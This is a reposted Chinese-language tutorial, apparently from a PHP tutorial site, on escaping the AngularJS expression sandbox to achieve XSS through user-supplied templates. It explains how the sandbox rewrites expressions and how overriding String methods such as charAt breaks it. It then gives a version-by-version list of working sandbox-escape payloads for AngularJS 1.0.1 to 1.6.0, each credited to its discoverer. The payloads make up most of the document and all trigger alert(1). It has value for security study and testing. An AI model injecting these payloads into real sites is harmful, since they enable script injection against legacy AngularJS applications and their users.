> 백엔드 개발 > PHP 튜토리얼 > AngularJs 사용자 입력 동적 템플릿 XSS 공격 예

AngularJs 사용자 입력 동적 템플릿 XSS 공격 예

不言
풀어 주다: 2023-03-24 16:16:01
원래의
1260명이 탐색했습니다.

这篇文章主要给大家介绍了关于AngularJs用户输入动态模板XSS攻击的相关资料,文中通过示例代码介绍的非常详细,对大家学习或者使用angularjs具有一定的参考学习价值,需要的朋友们一起学习学习吧。

概述

XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。

前情提要

angularJs通过“{{}}”来作为输出的标志,而对于双括号里面的内容angularJs会计计算并输出结果,我们可以在里面输入JS代码,并且一些语句还能得到执行,这使得我们的XSS有了可能,虽然不能直接写函数表达式,但这并难不住我们的白帽。

沙箱检验

angularJs会对表达式进行重写,并过滤计算输出,比如我们输入

1

{{1 + 1}}

로그인 후 복사

在JS中会被转换成

1

2

3

4

5

"use strict";

var fn = function(s, l, a, i) {

 return plus(1, 1);

};

return fn;

로그인 후 복사

return fn;这里的返回会被angualrJs执行,angularJs改写这个方法后转换是这样的

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

"use strict";

var fn = function(s, l, a, i) {

 var v0, v1, v2, v3, v4 = l && ('constructor' in l),

 v5;

 if (!(v4)) {

 if (s) {

 v3 = s.constructor;

 }

 } else {

 v3 = l.constructor;

 }

 ensureSafeObject(v3, text);

 if (v3 != null) {

 v2 = ensureSafeObject(v3.constructor, text);

 } else {

 v2 = undefined;

 }

 if (v2 != null) {

 ensureSafeFunction(v2, text);

 v5 = 'alert\u00281\u0029';

 ensureSafeObject(v3, text);

 v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alert\u00281\u0029', text)), text);

 } else {

 v1 = undefined;

 }

 if (v1 != null) {

 ensureSafeFunction(v1, text);

 v0 = ensureSafeObject(v1(), text);

 } else {

 v0 = undefined;

 }

 return v0;

};

return fn;

로그인 후 복사

angularJs会检查每一个输入的参数,ensureSafeObject方法会检验出函数的构造方法,窗口对象,对象,或者对象的构造方法,任意的其中一项被检查出来,表达式都不会执行.angularJs还有ensureSafeMemeberName和ensureSafeFunction来过滤掉方法原型链方法和检查这个指向。

如何逃逸

怎么样能逃过模板的过滤呢,可以让我们输入的模板被角执行,因为angularJs不支持函数输入,我们不可以直接覆盖本地的JS函数。但在字符串对象中找到了漏洞,fromCharCode,则charCode, charAt,由于没有重写这些方法,通过改变本地的js函数,我可以在angularJs调用这些方法的时候为自己开一个后门,将我改写的来覆盖原来的函数。

1

2

'a'.constructor.fromCharCode=[].join;

'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';

로그인 후 복사

formCharCode方法执行的时候内部的this指向的是String对象,通过上面的可指执行语句,我们可以对fromCharCode 函数进行覆盖,当在本页面内执行时,比如:

1

2

3

onload=function(){

document.write(String.fromCharCode(97));//会弹出 /Backdoored/

}

로그인 후 복사

还可以这样

1

'a'.constructor.prototype.charCodeAt=[].concat

로그인 후 복사

当angularJs调用charCodeAt函数时,我的代码就被执行到angular源码去了,比如说在这段里面有encodeEntities 方法用来对属性和名称做一个过滤然后输出,

1

2

3

4

5

6

7

if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {

out(' ');

out(key);

out('="');

out(encodeEntities(value));//找的就是encodeEntities  

out('"');

}

로그인 후 복사

具体的encodeEntities代码如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

function encodeEntities(value) {

return value.

 replace(/&/g, '&').

 replace(SURROGATE_PAIR_REGEXP, function(value) {

 var hi = value.charCodeAt(0);

 var low = value.charCodeAt(1);

 return '' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';';

 }).

 replace(NON_ALPHANUMERIC_REGEXP, function(value) {

 return '' + value.charCodeAt(0) + ';';//这里发生了不好事情,我改写了这个方法,可以植入一些恶意代码,并且得到返回输出  }).

replace(/</g, &#39;<&#39;).

replace(/>/g, &#39;>&#39;);

}

로그인 후 복사

具体执行

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

//这是输入代码

{{

 &#39;a&#39;.constructor.prototype.charAt=[].join;

 $eval(&#39;x=""&#39;)+&#39;&#39;

}}

 

//这是被覆盖影响的代码 

"use strict";

var fn = function(s, l, a, i) {

 var v5, v6 = l && (&#39;x\u003d\u0022\u0022&#39; in l);//被影响的

 if (!(v6)) {

  if (s) {

   v5 = s.x = "";//被影响的

  }

 } else {

  v5 = l.x = "";//被影响的

 }

 return v5;

};

fn.assign = function(s, v, l) {

 var v0, v1, v2, v3, v4 = l && (&#39;x\u003d\u0022\u0022&#39; in l);//被影响的

 v3 = v4 ? l : s;

 if (!(v4)) {

  if (s) {

   v2 = s.x = "";//被影响的

  }

 } else {

  v2 = l.x = "";//被影响的

 }

 if (v3 != null) {

  v1 = v;

  ensureSafeObject(v3.x = "", text);//被影响的

  v0 = v3.x = "" = v1;//被影响的

 }

 return v0;

};

return fn;

로그인 후 복사

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

{{

 &#39;a&#39;.constructor.prototype.charAt=[].join;

 $eval(&#39;x=alert(1)&#39;)+&#39;&#39; //注入了alert(1)

}}

 

"use strict";

var fn = function(s, l, a, i) {

 var v5, v6 = l && (&#39;x\u003dalert\u00281\u0029&#39; in l);

 if (!(v6)) {

  if (s) {

   v5 = s.x = alert(1);

  }

 } else {

  v5 = l.x = alert(1);

 }

 return v5;

};

fn.assign = function(s, v, l) {

 var v0, v1, v2, v3, v4 = l && (&#39;x\u003dalert\u00281\u0029&#39; in l);

 v3 = v4 ? l : s;

 if (!(v4)) {

  if (s) {

   v2 = s.x = alert(1);

  }

 } else {

  v2 = l.x = alert(1);

 }

 if (v3 != null) {

  v1 = v;

  ensureSafeObject(v3.x = alert(1), text);

  v0 = v3.x = alert(1) = v1;

 }

 return v0;

};

return fn;

로그인 후 복사

下面附上一些代码,可以直接结合angularJs验证

不同版本的实现代码以及发现者:

1.0.1 - 1.1.5 Mario Heiderich (Cure53)

1

{{constructor.constructor(&#39;alert(1)&#39;)()}}

로그인 후 복사
로그인 후 복사

1.2.0 - 1.2.1 Jan Horn (Google)

1

{{a=&#39;constructor&#39;;b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,&#39;alert(1)&#39;)()}}

로그인 후 복사

1.2.2 - 1.2.5 Gareth Heyes (PortSwigger)

1

{{&#39;a&#39;[{toString:[].join,length:1,0:&#39;__proto__&#39;}].charAt=&#39;&#39;.valueOf;$eval("x=&#39;"+(y=&#39;if(!window\\u002ex)alert(window\\u002ex=1)&#39;)+eval(y)+"&#39;");}}

로그인 후 복사

1.2.6 - 1.2.18 Jan Horn (Google)

1

{{(_=&#39;&#39;.sub).call.call({}[$=&#39;constructor&#39;].getOwnPropertyDescriptor(_.__proto__,$).value,0,&#39;alert(1)&#39;)()}}

로그인 후 복사

1.2.19 - 1.2.23 Mathias Karlsson

1

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

로그인 후 복사

1.2.24 - 1.2.29 Gareth Heyes (PortSwigger)

1

{{&#39;a&#39;.constructor.prototype.charAt=&#39;&#39;.valueOf;$eval("x=&#39;\"+(y=&#39;if(!window\\u002ex)alert(window\\u002ex=1)&#39;)+eval(y)+\"&#39;");}}

로그인 후 복사

1.3.0 Gábor Molnár (Google)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

{{!ready && (ready = true) && (

!call

? $$watchers[0].get(toString.constructor.prototype)

: (a = apply) &&

(apply = constructor) &&

(valueOf = call) &&

(&#39;&#39;+&#39;&#39;.toString(

&#39;F = Function.prototype;&#39; +

&#39;F.apply = F.a;&#39; +

&#39;delete F.a;&#39; +

&#39;delete F.valueOf;&#39; +

&#39;alert(1);&#39;

))

);}}

로그인 후 복사

1.3.1 - 1.3.2 Gareth Heyes (PortSwigger)

1

2

3

4

5

{{

{}[{toString:[].join,length:1,0:&#39;__proto__&#39;}].assign=[].join;

&#39;a&#39;.constructor.prototype.charAt=&#39;&#39;.valueOf;

$eval(&#39;x=alert(1)//&#39;);

}}

로그인 후 복사

1.3.3 - 1.3.18 Gareth Heyes (PortSwigger)

1

2

3

4

{{{}[{toString:[].join,length:1,0:&#39;__proto__&#39;}].assign=[].join;

 

&#39;a&#39;.constructor.prototype.charAt=[].join;

$eval(&#39;x=alert(1)//&#39;); }}

로그인 후 복사

1.3.19 Gareth Heyes (PortSwigger)

1

2

3

4

{{

&#39;a&#39;[{toString:false,valueOf:[].join,length:1,0:&#39;__proto__&#39;}].charAt=[].join;

$eval(&#39;x=alert(1)//&#39;);

}}

로그인 후 복사

1.3.20 Gareth Heyes (PortSwigger)

1

{{&#39;a&#39;.constructor.prototype.charAt=[].join;$eval(&#39;x=alert(1)&#39;);}}

로그인 후 복사

1.4.0 - 1.4.9 Gareth Heyes (PortSwigger)

1

{{&#39;a&#39;.constructor.prototype.charAt=[].join;$eval(&#39;x=1} } };alert(1)//&#39;);}}

로그인 후 복사

1.5.0 - 1.5.8 Ian Hickey

1

{{x = {&#39;y&#39;:&#39;&#39;.constructor.prototype}; x[&#39;y&#39;].charAt=[].join;$eval(&#39;x=alert(1)&#39;);}}

로그인 후 복사

1.5.9 - 1.5.11 Jan Horn (Google)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

{{

 c=&#39;&#39;.sub.call;b=&#39;&#39;.sub.bind;a=&#39;&#39;.sub.apply;

 c.$apply=$apply;c.$eval=b;op=$root.$$phase;

 $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;

 C=c.$apply(c);$root.$$phase=op;$root.$digest=od;

 B=C(b,c,b);$evalAsync("

 astNode=pop();astNode.type=&#39;UnaryExpression&#39;;

 astNode.operator=&#39;(window.X?void0:(window.X=true,alert(1)))+&#39;;

 astNode.argument={type:&#39;Identifier&#39;,name:&#39;foo&#39;};

 ");

 m1=B($$asyncQueue.pop().expression,null,$root);

 m2=B(C,null,m1);[].push.apply=m2;a=&#39;&#39;.sub;

 $eval(&#39;a(b.c)&#39;);[].push.apply=a;

}}

로그인 후 복사

= 1.6.0 Mario Heiderich(Cure53)

1

{{constructor.constructor(&#39;alert(1)&#39;)()}}

로그인 후 복사
로그인 후 복사

Reposted from: https://pockr.org/activity/detail?activity_no=act_017d460d4e5988dad2

관련 권장 사항:

AngularJS는 필터 사용자 정의 필터를 사용하여 중복 기능을 제거하기 위해 ng-repeat를 제어합니다. 예


위 내용은 AngularJs 사용자 입력 동적 템플릿 XSS 공격 예의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

관련 라벨:
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿